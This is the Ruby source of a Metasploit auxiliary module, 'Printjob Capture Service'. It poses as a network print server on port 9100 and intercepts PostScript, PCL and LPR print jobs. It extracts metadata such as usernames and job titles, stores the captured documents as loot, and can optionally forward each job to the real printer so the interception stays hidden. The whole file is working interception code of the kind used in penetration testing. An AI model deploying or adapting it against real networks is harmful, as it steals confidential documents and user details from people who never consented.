##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'Printjob Capture Service',
      'Description' => %q{
        This module is designed to listen for PJL or PostScript print
        jobs. Once a print job is detected it is saved to loot. The
        captured printjob can then be forwarded on to another printer
        (required for LPR printjobs). Resulting PCL/PS files can be
        read with GhostScript/GhostPCL.

        Note, this module does not yet support IPP connections.
      },
      'Author'      =>     ['Chris John Riley', 'todb'],
      'License'     =>     MSF_LICENSE,
      'References'  =>
      [
        # Based on previous prn-2-me tool (Python)
        ['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
        # Readers for resulting PCL/PC
        ['URL', 'http://www.ghostscript.com']
      ],
      'Actions'        => [[ 'Capture', 'Description' => 'Run print job capture server' ]],
      'PassiveActions' => ['Capture'],
      'DefaultAction'  => 'Capture'
    )

    register_options([
      OptPort.new('SRVPORT',  [ true, 'The local port to listen on', 9100 ]),
      OptBool.new('FORWARD',  [ true, 'Forward print jobs to another host', false ]),
      OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
      OptPort.new('RPORT',    [ false, 'Forward to remote port', 9100 ]),
      OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
      OptEnum.new('MODE',     [ true,  'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP

    ])

    deregister_options('SSL', 'SSLVersion', 'SSLCert', 'RHOSTS')
  end

  def setup
    super
    @state = {}

    begin

      @srvhost = datastore['SRVHOST']
      @srvport = datastore['SRVPORT'] || 9100
      @mode = datastore['MODE'].upcase || 'RAW'
      if datastore['FORWARD']
        @forward = datastore['FORWARD']
        @rport = datastore['RPORT'] || 9100
        if datastore['RHOST'].nil?
          fail_with(Failure::BadConfig, "Cannot forward without a valid RHOST")
        end
        @rhost = datastore['RHOST']
        print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
      end
      if not @mode == 'RAW' and not @forward
        fail_with(Failure::BadConfig, "Cannot intercept LPR/IPP without a forwarding target")
      end
      @metadata = datastore['METADATA']
      print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])

      exploit()

    rescue  =>  ex
      print_error(ex.message)
    end
  end

  def on_client_connect(c)
    @state[c] = {
      :name => "#{c.peerhost}:#{c.peerport}",
      :ip => c.peerhost,
      :port => c.peerport,
      :user => nil,
      :pass => nil,
      :data => '',
      :raw_data => '',
      :prn_title => '',
      :prn_type => '',
      :prn_metadata => {},
      :meta_output => []
    }

    print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
  end

  def on_client_data(c)
    curr_data = c.get_once
    @state[c][:data] << curr_data
    if @mode == 'RAW'
      # RAW Mode - no further actions
    elsif @mode == 'LPR' or @mode == 'IPP'
      response = stream_data(curr_data)
      c.put(response)
    end

    if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
      print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
    end

    return if not @state[c][:data]
  end

  def on_client_close(c)
    print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
    sock.close if sock

    # forward RAW data as it's not streamed
    if @forward and @mode == 'RAW'
      forward_data(@state[c][:data])
    end

    #extract print data and Metadata from @state[c][:data]
    begin
      # postscript data
      if @state[c][:data] =~ /%!PS-Adobe/i
        @state[c][:prn_type] = "PS"
        print_good("Printjob intercepted - type PostScript")
        # extract PostScript data including header and EOF marker
        @state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
        # pcl data (capture PCL or PJL start code)
      elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
        @state[c][:prn_type] = "PCL"
        print_good("Printjob intercepted - type PCL")
        #extract everything between PCL start and end markers (various)
        @state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
      end
      # extract Postsript Metadata
      metadata_ps(c) if @state[c][:data] =~ /^%%/i

      # extract PJL Metadata
      metadata_pjl(c) if @state[c][:data] =~ /@PJL/i

      # extract IPP Metadata
      metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i

      if @state[c][:prn_type].empty?
        print_error("Unable to detect printjob type, dumping complete output")
        @state[c][:prn_type] = "Unknown Type"
        @state[c][:raw_data] = @state[c][:data]
      end

      # output discovered Metadata if set
      if @state[c][:meta_output] and @metadata
        @state[c][:meta_output].sort.each do | out |
          # print metadata if not empty
          print_status("#{out}") if not out.empty?
        end
      else
        print_status("No metadata gathered from printjob")
      end

      # set name to unknown if not discovered via Metadata
      @state[c][:prn_title] = 'Unnamed' if @state[c][:prn_title].empty?

      #store loot
      storefile(c) if not @state[c][:raw_data].empty?

      # clear state
      @state.delete(c)

    rescue  =>  ex
      print_error(ex.message)
    end
  end

  def metadata_pjl(c)
    # extract PJL Metadata

    @state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
    print_good("Extracting PJL Metadata")
    @state[c][:prn_metadata].each do | meta |
      if meta[0] =~ /^COMMENT/i
        @state[c][:meta_output] << meta[0].to_s + meta[1].to_s
      end
      if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
        @state[c][:meta_output] << meta[1].to_s
      end
      if meta[1] =~ /^NAME/i
        @state[c][:prn_title] = meta[1].strip
      elsif meta[1] =~/^JOBNAME/i
        @state[c][:prn_title] = meta[1].strip
      end
    end
  end

  def metadata_ps(c)
    # extract Postsript Metadata

    @state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
    print_good("Extracting PostScript Metadata")
    @state[c][:prn_metadata].each do | meta |
      if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
        @state[c][:meta_output] << meta[0].to_s
      end
      if meta[0] =~ /^Title/i
        @state[c][:prn_title] = meta[0].strip
      end
    end
  end

  def metadata_ipp(c)
    # extract IPP Metadata

    @state[c][:prn_metadata] = @state[c][:data]
    print_good("Extracting IPP Metadata")
    case @state[c][:prn_metadata]
    when /User-Agent:/i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
    when /Server:/i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
    when /printer-uri..ipp:\/\/.*\/ipp\//i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
    when /requesting-user-name..\w+/i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
    end
  end

  def forward_data(data_to_send)
    print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
    connect
    sock.put(data_to_send)
    sock.close
  end

  def stream_data(data_to_send)
    vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
    connect if not sock
    sock.put(data_to_send)
    response = sock.get_once
    return response
  end

  def storefile(c)
    # store the file

    if @state[c][:raw_data]
      jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
      filename = "#{jobname}.#{@state[c][:prn_type]}"
      loot = store_loot(
        "prn_snarf.#{@state[c][:prn_type].downcase}",
        "#{@state[c][:prn_type]} printjob",
        c.peerhost,
        @state[c][:raw_data],
        filename,
        "PrintJob capture"
      )
      print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
      print_good("Loot filename: %s" % loot)
    end
  end
end
